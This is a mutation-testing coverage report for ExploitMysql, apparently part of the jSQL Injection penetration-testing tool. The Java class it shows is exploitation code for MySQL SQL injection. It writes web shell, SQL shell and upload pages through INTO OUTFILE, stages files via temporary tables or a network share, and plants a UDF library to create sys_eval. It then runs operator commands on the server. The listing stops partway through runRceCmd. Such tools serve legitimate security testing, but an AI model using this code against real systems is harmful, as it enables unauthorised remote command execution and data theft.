| 1 | package com.jsql.model.accessible.engine; | |
| 2 | ||
| 3 | import com.jsql.model.InjectionModel; | |
| 4 | import com.jsql.model.accessible.DataAccess; | |
| 5 | import com.jsql.model.accessible.ExploitMode; | |
| 6 | import com.jsql.model.accessible.ResourceAccess; | |
| 7 | import com.jsql.model.accessible.engine.mysql.ModelYamlMysql; | |
| 8 | import com.jsql.model.bean.database.MockElement; | |
| 9 | import com.jsql.model.suspendable.Input; | |
| 10 | import com.jsql.view.subscriber.Seal; | |
| 11 | import com.jsql.model.exception.AbstractSlidingException; | |
| 12 | import com.jsql.model.exception.JSqlException; | |
| 13 | import com.jsql.model.exception.JSqlRuntimeException; | |
| 14 | import com.jsql.model.injection.engine.model.EngineYaml; | |
| 15 | import com.jsql.model.suspendable.SuspendableGetRows; | |
| 16 | import com.jsql.util.LogLevelUtil; | |
| 17 | import com.jsql.util.StringUtil; | |
| 18 | import org.apache.commons.codec.binary.Hex; | |
| 19 | import org.apache.commons.lang3.RandomStringUtils; | |
| 20 | import org.apache.commons.lang3.StringUtils; | |
| 21 | import org.apache.logging.log4j.LogManager; | |
| 22 | import org.apache.logging.log4j.Logger; | |
| 23 | import org.yaml.snakeyaml.Yaml; | |
| 24 | ||
| 25 | import java.io.*; | |
| 26 | import java.net.http.HttpResponse; | |
| 27 | import java.nio.charset.StandardCharsets; | |
| 28 | import java.nio.file.Files; | |
| 29 | import java.nio.file.Path; | |
| 30 | import java.nio.file.Paths; | |
| 31 | import java.util.List; | |
| 32 | import java.util.Objects; | |
| 33 | import java.util.UUID; | |
| 34 | import java.util.function.BiPredicate; | |
| 35 | import java.util.function.BinaryOperator; | |
| 36 | ||
| 37 | public class ExploitMysql { | |
| 38 | ||
| 39 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
| 40 | public static final String NAME_TABLE = "temp"; | |
| 41 | private final InjectionModel injectionModel; | |
| 42 | private final ModelYamlMysql modelYaml; | |
| 43 | ||
| 44 | private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> { | |
| 45 | try { | |
| 46 |
2
1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE 2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE |
return this.buildSysEval(nameLibraryRandom); |
| 47 | } catch (JSqlException e) { | |
| 48 | throw new JSqlRuntimeException(e); | |
| 49 | } | |
| 50 | }; | |
| 51 | ||
| 52 | public ExploitMysql(InjectionModel injectionModel) { | |
| 53 | this.injectionModel = injectionModel; | |
| 54 | var yaml = new Yaml(); | |
| 55 | this.modelYaml = yaml.loadAs( | |
| 56 | injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(), | |
| 57 | ModelYamlMysql.class | |
| 58 | ); | |
| 59 | } | |
| 60 | ||
| 61 | public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException { | |
| 62 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv"); | |
| 63 | ||
| 64 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 65 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess)); |
| 66 |
1
1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE |
return urlSuccess; |
| 67 | }; | |
| 68 |
1
1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createWeb → NO_COVERAGE |
return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode); |
| 69 | } | |
| 70 | ||
| 71 | public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException { | |
| 72 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 73 | var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false); | |
| 74 |
2
1. lambda$createSql$2 : negated conditional → NO_COVERAGE 2. lambda$createSql$2 : negated conditional → NO_COVERAGE |
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) { |
| 75 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password)); |
| 76 |
1
1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createSql$2 → NO_COVERAGE |
return urlSuccess; |
| 77 | } | |
| 78 | return StringUtils.EMPTY; | |
| 79 | }; | |
| 80 | var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 81 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 82 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()..."); | |
| 83 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 84 | } | |
| 85 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 86 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()..."); | |
| 87 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 88 | } | |
| 89 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 90 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database"); | |
| 91 | } | |
| 92 |
1
1. createSql : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createSql → NO_COVERAGE |
return urlSuccess; |
| 93 | } | |
| 94 | ||
| 95 | public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException { | |
| 96 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 97 | try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { | |
| 98 | HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); | |
| 99 |
1
1. lambda$createUpload$3 : negated conditional → NO_COVERAGE |
if (result.body().contains(DataAccess.LEAD +"y")) { |
| 100 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); | |
| 101 | } else { | |
| 102 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); | |
| 103 | } | |
| 104 | } catch (InterruptedException e) { | |
| 105 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
| 106 |
1
1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
| 107 | } catch (IOException | JSqlException e) { | |
| 108 | throw new JSqlRuntimeException(e); | |
| 109 | } | |
| 110 |
1
1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE |
return urlSuccess; |
| 111 | }; | |
| 112 | this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode); | |
| 113 | } | |
| 114 | ||
| 115 | /** | |
| 116 | * Create shell on remote server | |
| 117 | * @param urlExploit URL for the script (used for url rewriting) | |
| 118 | */ | |
| 119 | public String create( | |
| 120 | String pathRemoteFolder, | |
| 121 | String urlExploit, | |
| 122 | String keyPropertyExploit, | |
| 123 | String nameExploit, | |
| 124 | BinaryOperator<String> biFuncGetRequest, | |
| 125 | String pathNetshareFolder, | |
| 126 | ExploitMode exploitMode | |
| 127 | ) throws JSqlException { | |
| 128 |
1
1. create : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
| 129 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE |
return null; |
| 130 | } | |
| 131 | ||
| 132 | String bodyExploit = StringUtil.base64Decode( | |
| 133 | this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit) | |
| 134 | ) | |
| 135 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) | |
| 136 | .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); | |
| 137 | ||
| 138 | // outfile + binary: content corruption | |
| 139 | BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> { | |
| 140 | try { | |
| 141 | String resultInjection = this.confirm(pathFolder + nameFile); | |
| 142 |
2
1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE 2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE |
return resultInjection.contains(bodyExploit); |
| 143 | } catch (JSqlException e) { | |
| 144 | throw new JSqlRuntimeException(e); | |
| 145 | } | |
| 146 | }; | |
| 147 | ||
| 148 |
1
1. create : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
| 149 | String nameExploitValidated = StringUtils.EMPTY; | |
| 150 | ||
| 151 |
1
1. create : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
| 152 |
1
1. create : removed call to com/jsql/model/accessible/engine/ExploitMysql::copyBodyToShare → NO_COVERAGE |
ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit); |
| 153 | nameExploitValidated = this.byNetshare( | |
| 154 | nbIndexesPrefix, | |
| 155 | pathNetshareFolder, | |
| 156 | nameExploit, | |
| 157 | pathRemoteFolder, | |
| 158 | biPredConfirm | |
| 159 | ); | |
| 160 |
2
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
| 161 | nameExploitValidated = this.byQueryBody( | |
| 162 | nbIndexesPrefix, | |
| 163 | pathRemoteFolder, | |
| 164 | nameExploit, | |
| 165 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
| 166 | biPredConfirm | |
| 167 | ); | |
| 168 | } | |
| 169 |
3
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE 3. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
| 170 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 171 |
1
1. create : removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE |
this.byTable( |
| 172 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
| 173 | pathRemoteFolder + nameExploitRandom | |
| 174 | ); | |
| 175 |
1
1. create : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 176 | nameExploitValidated = nameExploitRandom; | |
| 177 | } | |
| 178 | } | |
| 179 | ||
| 180 |
1
1. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 181 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
| 182 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE |
return null; |
| 183 | } | |
| 184 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
| 185 | ||
| 186 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE |
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploitValidated, biFuncGetRequest); |
| 187 | } | |
| 188 | ||
| 189 | public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException { | |
| 190 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv"); | |
| 191 | ||
| 192 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
| 193 | return; | |
| 194 | } | |
| 195 | ||
| 196 |
1
1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
| 197 | var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir"); | |
| 198 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(pathPlugin)) { |
| 199 | throw new JSqlException("Incorrect plugin folder: path is empty"); | |
| 200 | } | |
| 201 | ||
| 202 | String nameLibrary = this.getNameLibrary(); | |
| 203 | ||
| 204 | pathPlugin = pathPlugin.replace("\\", "/"); | |
| 205 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathPlugin.endsWith("/")) { |
| 206 | pathPlugin = String.format("%s%s", pathPlugin, "/"); | |
| 207 | } | |
| 208 | ||
| 209 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) { |
| 210 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway..."); | |
| 211 | } | |
| 212 | String isSuccess = StringUtils.EMPTY; | |
| 213 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
| 214 | var pathNetshareFolderFixed = pathNetshareFolder; | |
| 215 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathNetshareFolderFixed.endsWith("\\")) { |
| 216 | pathNetshareFolderFixed += "\\"; | |
| 217 | } | |
| 218 |
1
1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitMysql::copyLibraryToShare → NO_COVERAGE |
ExploitMysql.copyLibraryToShare(pathNetshareFolderFixed, nameLibrary); |
| 219 | isSuccess = this.byNetshare( | |
| 220 | nbIndexesFound, | |
| 221 | pathNetshareFolderFixed, | |
| 222 | nameLibrary, | |
| 223 | pathPlugin, | |
| 224 | this.biPredCreateUdf | |
| 225 | ); | |
| 226 |
2
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
| 227 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) { |
| 228 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead"); | |
| 229 | } | |
| 230 | isSuccess = this.byQueryBody( | |
| 231 | nbIndexesFound, | |
| 232 | pathPlugin, | |
| 233 | nameLibrary, | |
| 234 | ExploitMysql.toHexChunks(nameLibrary), | |
| 235 | this.biPredCreateUdf | |
| 236 | ); | |
| 237 | } | |
| 238 |
3
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE 3. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
| 239 | var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary; | |
| 240 |
1
1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE |
this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom); |
| 241 | this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom); | |
| 242 | } | |
| 243 | } | |
| 244 | ||
| 245 | private String getNameLibrary() throws JSqlException { | |
| 246 | var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec"); | |
| 247 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(versionOsMachine)) { |
| 248 | throw new JSqlException("Incorrect remote machine: unknown system"); | |
| 249 | } | |
| 250 |
2
1. getNameLibrary : negated conditional → NO_COVERAGE 2. getNameLibrary : negated conditional → NO_COVERAGE |
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux"); |
| 251 | String nameLibrary; | |
| 252 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (versionOsMachine.contains("64")) { |
| 253 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "64.dll" : "64.so"; |
| 254 | } else { | |
| 255 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "32.dll" : "32.so"; |
| 256 | } | |
| 257 |
1
1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getNameLibrary → NO_COVERAGE |
return nameLibrary; |
| 258 | } | |
| 259 | ||
| 260 | public String byQueryBody( | |
| 261 | int nbIndexesPrefix, | |
| 262 | String pathRemoteFolder, | |
| 263 | String nameExploit, | |
| 264 | List<String> hexChunks, | |
| 265 | BiPredicate<String, String> biPredConfirm | |
| 266 | ) { | |
| 267 | String nameExploitValidated = StringUtils.EMPTY; | |
| 268 | var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody(); | |
| 269 | ||
| 270 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 271 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex() |
| 272 | ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex() | |
| 273 | : 15; | |
| 274 |
2
1. byQueryBody : negated conditional → NO_COVERAGE 2. byQueryBody : changed conditional boundary → NO_COVERAGE |
for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) { |
| 275 | int finalI = i; | |
| 276 | LOGGER.log( | |
| 277 | LogLevelUtil.CONSOLE_DEFAULT, | |
| 278 | "Checking file write with [union select {}fileBody]", | |
| 279 |
1
1. lambda$byQueryBody$5 : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE |
() -> "'',".repeat(finalI) |
| 280 | ); | |
| 281 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 282 | "and 1=2 union", // false required, prevent writing origin rows instead of file body when true | |
| 283 | "'',".repeat(i), | |
| 284 | String.join(StringUtils.EMPTY, hexChunks), | |
| 285 | pathRemoteFolder + nameExploitRandom | |
| 286 | ), "body#union-dump"); | |
| 287 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 288 | nameExploitValidated = nameExploitRandom; | |
| 289 | break; | |
| 290 |
2
1. byQueryBody : changed conditional boundary → NO_COVERAGE 2. byQueryBody : negated conditional → NO_COVERAGE |
} else if (nbIndexesPrefix > -1) { // interrupt when Union already found |
| 291 | break; | |
| 292 | } | |
| 293 | } | |
| 294 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 295 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack..."); | |
| 296 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 297 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 298 | ";", | |
| 299 | StringUtils.EMPTY, | |
| 300 | String.join(StringUtils.EMPTY, hexChunks), | |
| 301 | pathRemoteFolder + nameExploitRandom | |
| 302 | ), "body#stack-dump"); | |
| 303 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 304 | nameExploitValidated = nameExploitRandom; | |
| 305 | } | |
| 306 | } | |
| 307 |
1
1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byQueryBody → NO_COVERAGE |
return nameExploitValidated; |
| 308 | } | |
| 309 | ||
| 310 | public String byNetshare( | |
| 311 | int nbIndexesPrefix, | |
| 312 | String pathNetshareFolder, | |
| 313 | String nameExploit, | |
| 314 | String pathRemoteFolder, | |
| 315 | BiPredicate<String, String> biPredConfirm | |
| 316 | ) { | |
| 317 | String nameExploitValidated = StringUtils.EMPTY; | |
| 318 | var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\"); | |
| 319 | var pattern = this.modelYaml.getUdf().getAddFile().getNetshare(); | |
| 320 | ||
| 321 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union..."); | |
| 322 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 323 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 324 | "and 1=2 union", // required false, prevent writing origin rows instead of file body when true | |
| 325 | "'',".repeat(nbIndexesPrefix), | |
| 326 | pathShareEncoded + nameExploit, | |
| 327 | pathRemoteFolder + nameExploitRandom | |
| 328 | ), "netshare#union"); | |
| 329 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 330 | nameExploitValidated = nameExploitRandom; | |
| 331 | } | |
| 332 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 333 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack..."); | |
| 334 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 335 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 336 | ";", | |
| 337 | StringUtils.EMPTY, | |
| 338 | pathShareEncoded + nameExploit, | |
| 339 | pathRemoteFolder + nameExploitRandom | |
| 340 | ), "netshare#stack"); | |
| 341 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 342 | nameExploitValidated = nameExploitRandom; | |
| 343 | } | |
| 344 | } | |
| 345 |
1
1. byNetshare : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byNetshare → NO_COVERAGE |
return nameExploitValidated; |
| 346 | } | |
| 347 | ||
| 348 | public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException { | |
| 349 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack..."); | |
| 350 | var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname"); | |
| 351 |
2
1. byTable : negated conditional → NO_COVERAGE 2. byTable : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) { |
| 352 | nameDatabase = "mysql"; | |
| 353 | } | |
| 354 | var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8); // underscore required, dash not allowed | |
| 355 | var nameSchemaTable = nameDatabase +"."+ nameTableRandom; | |
| 356 | this.injectionModel.injectWithoutIndex(String.format( | |
| 357 | this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(), | |
| 358 | nameSchemaTable | |
| 359 | ), ResourceAccess.TBL_DROP); | |
| 360 | var countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
| 361 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"0".equals(countResult)) { |
| 362 | throw new JSqlException("Drop table failure: "+ countResult); | |
| 363 | } | |
| 364 | this.injectionModel.injectWithoutIndex(String.format( | |
| 365 | this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(), | |
| 366 | nameSchemaTable | |
| 367 | ), ResourceAccess.TBL_CREATE); | |
| 368 | countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
| 369 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"1".equals(countResult)) { |
| 370 | throw new JSqlException("Create table failure: "+ countResult); | |
| 371 | } | |
| 372 | int indexChunk = 0; | |
| 373 | for (String chunk: bodyHexChunks) { | |
| 374 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (indexChunk == 0) { |
| 375 | this.injectionModel.injectWithoutIndex(String.format( | |
| 376 | this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(), | |
| 377 | nameSchemaTable, | |
| 378 | chunk | |
| 379 | ), "tbl#init"); | |
| 380 | } else { | |
| 381 | this.injectionModel.injectWithoutIndex(String.format( | |
| 382 | this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(), | |
| 383 | nameSchemaTable, | |
| 384 | chunk | |
| 385 | ), ResourceAccess.TBL_FILL); | |
| 386 | } | |
| 387 |
1
1. byTable : Changed increment from 1 to -1 → NO_COVERAGE |
indexChunk++; |
| 388 | } | |
| 389 | this.injectionModel.injectWithoutIndex(String.format( | |
| 390 | this.modelYaml.getUdf().getAddFile().getTempTable().getDump(), | |
| 391 | nameSchemaTable, | |
| 392 | pathRemoteFile | |
| 393 | ), ResourceAccess.TBL_DUMP); | |
| 394 | } | |
| 395 | ||
| 396 | private String getCountTable(String nameDatabase, String nameTableRandom) { | |
| 397 | try { | |
| 398 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE |
return this.injectionModel.getResourceAccess().getResult(String.format( |
| 399 | this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(), | |
| 400 | nameTableRandom, | |
| 401 | nameDatabase | |
| 402 | ), "tbl#check"); | |
| 403 | } catch (JSqlException e) { | |
| 404 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE |
return e.getMessage(); // error message then logged |
| 405 | } | |
| 406 | } | |
| 407 | ||
| 408 | private boolean buildSysEval(String nameLibrary) throws JSqlException { | |
| 409 | this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop"); | |
| 410 | this.injectionModel.injectWithoutIndex(String.format( | |
| 411 | this.modelYaml.getUdf().getAddFunction().getCreate(), | |
| 412 | nameLibrary | |
| 413 | ), "udf#function"); | |
| 414 | var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm"); | |
| 415 |
1
1. buildSysEval : negated conditional → NO_COVERAGE |
if (!confirm.contains("sys_eval")) { |
| 416 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found"); | |
| 417 |
1
1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE |
return false; |
| 418 | } | |
| 419 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found"); | |
| 420 | ||
| 421 |
1
1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(new Seal.AddTabExploitUdf( |
| 422 | (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID) | |
| 423 | )); | |
| 424 |
1
1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE |
return true; |
| 425 | } | |
| 426 | ||
| 427 | public String confirm(String path) throws JSqlException { | |
| 428 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
| 429 |
1
1. confirm : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::confirm → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run(new Input( |
| 430 | this.modelYaml.getFile().getRead().replace( | |
| 431 | EngineYaml.FILEPATH_HEX, | |
| 432 | Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8)) | |
| 433 | ), | |
| 434 | sourcePage, | |
| 435 | false, | |
| 436 | 1, | |
| 437 | MockElement.MOCK, | |
| 438 | "xplt#confirm-file" | |
| 439 | )); | |
| 440 | } | |
| 441 | ||
| 442 | public String runRceCmd(String command, UUID uuidShell) { | |
| 443 | String result; | |
| 444 | try { | |
| 445 | result = this.injectionModel.getResourceAccess().getResult(String.format( // 0xff splits single result in many chunks => replace by space | |
| 446 | this.modelYaml.getUdf().getRunCmd(), | |
| 447 | command.replace(StringUtils.SPACE, "%20") // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l' | |
| 448 | ), "udf#run-cmd") +"\n"; | |
| 449 | } catch (JSqlException e) { | |
| 450 | result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command); | |
| 451 | } | |
| 452 |
1
1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
